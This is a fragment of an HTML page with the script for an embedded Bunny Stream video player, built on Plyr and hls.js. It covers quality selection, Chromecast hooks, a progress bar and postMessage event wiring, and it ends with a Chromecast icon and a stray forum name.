)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0, 4))) check = true; })(navigator.userAgent || navigator.vendor || window.opera);
        return check;
    }
    var levelsInternal = [];
    document.addEventListener("DOMContentLoaded", async function () {
        var video = document.querySelector("video");
        var fragmentsLoaded = 0;
        var player = null;
        var isFairplay = false;
        var useFairplayInternalEngine= false;
        var useFairplayHlsJs= false;
        var isEntDrm = false;
        var playOriginal = false;
        var isHlsSupported = (!isFairplay || useFairplayHlsJs) && Hls.isSupported();
        var source = video.getElementsByTagName("source")[0].src;
        var isAdPaused = false;
        var cjs = null;
        var prioritizeSegmentHttpResponseCode = 600;
        var prioritizeSegmentProbingInterval = 0;
        var isAirplayEnabled = false;
        var is4KVideo = true;
        function isChromecastConnected(){
            return cjs != null && cjs.connected;
        }

        var defaultOptions = {
            storage: {
                enabled: true,
                key: 'plyr--lib-332723'
            },
            fullscreen: {
                enabled: true,
                fallback: true,
                iosNative: true
            },
            iconUrl: 'https://assets.mediadelivery.net/plyr/3.7.3.2/plyr.svg',
            captions: { active: false, language: '', update: true },
            controls: [
                "play-large","play","rewind","fast-forward","progress","current-time","duration","mute","volume","settings","pip","fullscreen","audioTrack"
            ],
            settings: ['quality', 'speed', 'loop', 'audioTrack'],
            speed: { selected: 1, options: [0.5,0.75,1,1.25,1.5,1.75,2,4] },
            i18n: {
                restart: 'Restart',
                rewind: 'Rewind {seektime}s',
                play: 'Play',
                pause: 'Pause',
                fastForward: 'Forward {seektime}s',
                seek: 'Seek',
                seekLabel: '{currentTime} of {duration}',
                played: 'Played',
                buffered: 'Buffered',
                currentTime: 'Current time',
                duration: 'Duration',
                volume: 'Volume',
                mute: 'Mute',
                unmute: 'Unmute',
                enableCaptions: 'Enable captions',
                disableCaptions: 'Disable captions',
                download: 'Download',
                enterFullscreen: 'Enter fullscreen',
                exitFullscreen: 'Exit fullscreen',
                frameTitle: 'Player for {title}',
                captions: 'Captions',
                settings: 'Settings',
                pip: 'PIP',
                menuBack: 'Go back to previous menu',
                speed: 'Speed',
                normal: 'Normal',
                quality: 'Quality',
                loop: 'Loop',
                start: 'Start',
                end: 'End',
                all: 'All',
                reset: 'Reset',
                disabled: 'Disabled',
                enabled: 'Enabled',
                advertisement: 'Ad',
                qualityBadge: {
                    2160: '4K',
                    1440: 'HD',
                    1080: 'HD',
                    720: 'HD',
                    576: 'SD',
                    480: 'SD',
                },
            },

        };

        function initPlayer() {
            // needed for displaying right direction of the captions
            player.elements.captions.dir = "auto";

            $('<div class="plyr__controls__item hide_mobile plyr__spacer"></div>').insertBefore(".plyr__progress__container");

            /* Heatmap Chart */
            $("video").on('webkitbeginfullscreen webkitendfullscreen', function (event) {
                if (event.type === 'webkitbeginfullscreen') {
                    document.documentElement.style.setProperty('--webkit-text-track-display', 'block');
                } else {
                    document.documentElement.style.setProperty('--webkit-text-track-display', 'none');
                }
            });
            setPlayerStartingPosition(player);
            /* Session tracking */
            player.on("play", function () {

                if (isChromecastConnected()) {
                    cjs.play();
                }
            });

            player.on("playing", function () {

            });

            player.on("pause", function () {

                if (isChromecastConnected()) {
                    cjs.pause();
                }
            });

            player.on("seeked", function () {
                if (isChromecastConnected()) {
                    if (player.isChromecastSeeked != null && !player.isChromecastSeeked) {
                        cjs.seek(player.currentTime);
                    }
                    player.isChromecastSeeked = false;
                }
            });

            player.on("languagechange", function (e) {
                if (isChromecastConnected()) {
                    cjs.subtitle(e.detail.plyr.captions.currentTrack);
                }
            });
            /* Progress bar */
            var scrubbingPaused = false;
            var isMobile = IsMobile();
            $(".plyr__progress__container input").css("top", "-5px");
            $(".plyr__progress__container progress").css("top", "4px");
            $(".plyr__progress__container progress").css("opacity", "0.01");
            $(".plyr__progress").prepend($('<div class="plyr__pb"></div>'));
            var pb = new PB(".plyr__pb", ".plyr__progress__container input", {
                keyColor: "#ff7755",
                videoLength: 1448,
                chapters: [

                ],
                moments: [

                ],
                onScrubbingChange: function(seekTime, offset) {
                    var thumbWidth = $(".plyr__preview-thumb").width();
                    var position = Math.max(thumbWidth / 2, offset);
                    position = Math.min($(".plyr__controls").width() - $(".plyr__preview-thumb").width() + (thumbWidth / 4), position);
                    $(".plyr__preview-thumb").css("left", (position - 5.5) + "px");
                }
            });

            player.on("loadedmetadata", function () {
                pb.SetDuration(player.duration);
            });

            setInterval(function () {
                pb.SetCurrentProgress(player.currentTime);
                pb.SetBufferProgress(player.duration * player.buffered);
            }, 16);
            /* Progress bar */

            function getStatusObject() {
                return {
                    volume: player.volume,
                    muted: player.muted,
                    hideControls: player.hideControls,
                    speed: player.speed,
                    quality: player.quality,
                    currentTime: player.currentTime,
                    playing: player.playing,
                    paused: player.paused,
                    stopped: player.stopped,
                    ended: player.ended,
                    buffered: player.buffered,
                    duration: player.duration,
                    hasAudio: player.hasAudio,
                    loop: player.loop,
                    language: player.language,
                    ratio: player.ratio,
                };
            }

            function sendEvent(name) {
                window.parent.postMessage({
                    channel: "bunnystream",
                    video: "2d3f3b5c-4f26-4d2b-a385-f9547e42e0f5",
                    event: name,
                    status: getStatusObject(),
                }, '*');
            }

            function wireEvent(name) {
                player.on(name, function () { sendEvent(name)});
            }

            function wireUpEvents()
            {
                wireEvent("progress");
                wireEvent("ready");
                wireEvent("play");
                wireEvent("pause");
                wireEvent("timeupdate");
                wireEvent("seeking");
                wireEvent("seeked");
                wireEvent("ended");
                wireEvent("ratechange");
                wireEvent("enterfullscreen");
                wireEvent("exitfullscreen");
                wireEvent("captionsenabled");
                wireEvent("captionsdisabled");
                wireEvent("languagechange");
                wireEvent("ready");
            }

            window.onmessage = function(e)
            {
                var message = e.data;
                if (message.command == 'activate')
                {
                    wireUpEvents();
                }
                else if (message.command == 'pause') {
                    player.pause();
                }
                else if (message.command == 'play') {
                    player.play();
                }
                else if (message.command == 'togglePlay') {
                    if (message.parameter != null)
                        player.togglePlay(message.parameter);
                    else
                        player.togglePlay();
                }
                else if (message.command == 'destroy') {
                    player.destroy();
                }
                else if (message.command == 'increaseVolume') {
                    if (message.parameter != null)
                        player.increaseVolume(message.parameter);
                    else
                        player.increaseVolume(0.1);
                }
                else if (message.command == 'decreaseVolume') {
                    if (message.parameter != null)
                        player.decreaseVolume(message.parameter);
                    else
                        player.decreaseVolume(0.1);
                }
                else if (message.command == 'toggleCaptions') {
                    if (message.parameter != null)
                        player.toggleCaptions(message.parameter);
                    else
                        player.toggleCaptions();
                }
                else if (message.command == 'toggleControls') {
                    if (message.parameter != null)
                        player.toggleControls(message.parameter);
                    else
                        player.toggleControls();
                }
                else if (message.command == 'fullscreen.enter') {
                    player.fullscreen.enter();
                }
                else if (message.command == 'fullscreen.exit') {
                    player.fullscreen.exit();
                }
                else if (message.command == 'fullscreen.toggle') {
                    player.fullscreen.toggle();
                }
                else if (message.command == 'forward') {
                    if (message.parameter != null)
                        player.forward(message.parameter);
                    else
                        player.forward();
                }
                else if (message.command == 'rewind') {
                    if (message.parameter != null)
                        player.rewind(message.parameter);
                    else
                        player.rewind();
                }
            };

            var pjs = new BunnyPlayerJs(player);
            pjs.init();
        }

        function generateDrmRequest(initDataType, initData, keyContext){
            //console.log(initDataType, initData, keyContext);
            return {initDataType:initDataType, initData:initData};
        }


        if (isHlsSupported) {
            var premiumProbingVideos = new Map();
            var hlsConfig = {
                debug: false,
                abrEwmaDefaultEstimate: 5000000,
                minBufferLength: 20,
                autoStartLoad: false,
                xhrSetup: function (xhr, url) {
                },
            };
            if (is4KVideo) {
                hlsConfig.maxBufferSize = 100 * 1000 * 1000;
            }
            else {
                hlsConfig.maxBufferLength = 120;
            }

            var hls = new Hls(hlsConfig);
            hls.loadSource(source);

            // From the m3u8 playlist, hls parses the manifest and returns
            // all available video qualities. This is important, in this approach,
            // we will have one source on the Plyr player.
            hls.on(Hls.Events.MANIFEST_PARSED, function (event, data) {
                if (data.audioTracks && data.audioTracks.length) {
                    const languageOptions = Array.from(new Set(data.audioTracks.map(a => a.name)));

                    defaultOptions.audioTrack = {
                        options: languageOptions, // array of strings,
                        selected: languageOptions[0],
                        onChange: (e) => {
                            let index = hls.audioTracks.findLastIndex(x => x.name == e);
                            if (index < 0)
                                index = 0;
                            hls.audioTrack = index;
                        }, // e is value of the selected label (string)
                        showUnrecognizedLabel: false, // if you want to show 'Unrecognized (en)' (if not defined in i18n) instead of 'en'
                    };

                    hls.audioTrack = 0;
                }

                // Transform available levels into an array of integers (height values).
                var availableQualities = hls.levels.map(function (l) { return l.height });
                availableQualities.unshift(-1) //prepend -1 (auto) to quality array;

                var vp9Levels = hls.levels.filter(function(level) {
                    var codecString = `video/mp4; codecs="${level.videoCodec}, ${level.audioCodec}"`;
                    var res = level.codecSet.includes('vp09') && MediaSource.isTypeSupported(codecString);
                    return res;
                });

                levelsInternal = hls.levels;
                if (vp9Levels.length > 0) {
                    levelsInternal = vp9Levels;
                }

                if (window.hls.currentLevel == -1)
                {
                    // Auto
                    if(levelsInternal.length == 1) {
                        window.hls.currentLevel = hls.levels.indexOf(levelsInternal[0]);
                    }
                    else if(levelsInternal.length == 2) {
                        window.hls.currentLevel = hls.levels.indexOf(levelsInternal[1]);
                    }
                    else {
                        window.hls.currentLevel = hls.levels.indexOf(levelsInternal[2]);
                    }
                }

                // Add new qualities to option
                defaultOptions.quality = {
                    default: -1,
                    options: availableQualities,
                    // this ensures Plyr to use Hls to update quality level
                    forced: true,
                    onChange: function (e) { updateQuality(e); },
                }

                defaultOptions.i18n["qualityLabel"] = { "-1": "Auto" };

                // Initialize here
                player = new Plyr(video, defaultOptions);
                initPlayer();

                player.on('play', function () {
                    fragmentsLoaded = 1000;
                    hls.startLoad();
                });



            });
            hls.on(Hls.Events.LEVEL_SWITCHED, function (event, data) {
                var span = document.querySelector(".plyr__controls [data-plyr='quality'][value='-1'] span")
                if (span != null) {
                    if (hls.autoLevelEnabled) {
                        var height = hls.levels[data.level].height;
                        span.innerHTML = 'Auto (' + height + 'p)'
                    } else {
                        span.innerHTML = 'Auto'
                    }
                }
            });

            hls.on(Hls.Events.FRAG_LOADED, function (event, data) {
                if (fragmentsLoaded < 2) {
                    if (fragmentsLoaded == 1) {
                        hls.stopLoad();
                    }

                    fragmentsLoaded++;
                }
            });
            hls.on(Hls.Events.ERROR, function (event, data) {
                if (errorEvents[data.details] == undefined) {
                    errorEvents[data.details] = 0;
                }
                console.error("HLS error occured:", data);
                errorEvents[data.details] += 1;

                if (data.fatal) {
                    console.error("HLS fatal error occured:", data);
                    switch (data.type) {
                        case Hls.ErrorTypes.NETWORK_ERROR:
                            // try to recover network error
                            console.log('fatal network error encountered, try to recover');
                            hls.startLoad();
                            break;
                        case Hls.ErrorTypes.MEDIA_ERROR:
                            console.log('fatal media error encountered, try to recover');
                            hls.recoverMediaError();
                            break;
                        default:
                            break;
                    }
                }
            });

            hls.attachMedia(video);
            window.hls = hls;
        }
        else {
            // hls not supported
            defaultOptions.quality = {
                default: 480,
                options: [240, 320, 480, 720]
            };

            player = new Plyr(video, defaultOptions);
            initPlayer();
        }

        function updateQuality(newQuality) {
            if (newQuality === -1) {
                window.hls.currentLevel = -1; //Enable AUTO quality if option.value = -1
            } else {
                for (var level of levelsInternal) {
                    if (level.height === newQuality) {
                        console.log("Found quality match", level);
                        window.hls.currentLevel = hls.levels.indexOf(level);
                        return;
                    }
                }
            }
        };
    });

    var errorElement;
    function showError(message){
        if(!errorElement){
            errorElement = document.createElement("div");
            errorElement.className = "error-message";
            const container = document.getElementById("video-container");
            container.appendChild(errorElement);
        }
        errorElement.innerHTML = message;
    }

    function centerVertically() {
        var container = document.getElementById("body");
        var inner = document.getElementById("video-container");

        var inHeight = inner.offsetHeight;
        var conHeight = container.offsetHeight;

        inner.style.marginTop = ((conHeight - inHeight) / 2) + 'px';
    }
    centerVertically();
    window.addEventListener("resize", centerVertically);
</script>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <defs>
        <symbol id="chromecast" viewBox="0 0 18 18" width="18px" height="18px">
            <g transform="matrix(.74895 0 0 .75211 .025316 .025316)" fill="none" fill-rule="evenodd">
                <path d="m1 18v3h3c0-1.66-1.34-3-3-3zm0-4v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7zm0-4v2c4.97 0 9 4.03 9 9h2c0-6.08-4.93-11-11-11zm20-7h-18c-1.1 0-2 0.9-2 2v3h2v-3h18v14h-7v2h7c1.1 0 2-0.9 2-2v-14c0-1.1-0.9-2-2-2z" fill="#fff"></path>
                <rect width="24" height="24"></rect>
                <g transform="translate(-208,-106)"></g>
            </g>
        </symbol>
    </defs>
</svg>
</body>
</html>

ZeroDay Forums Mini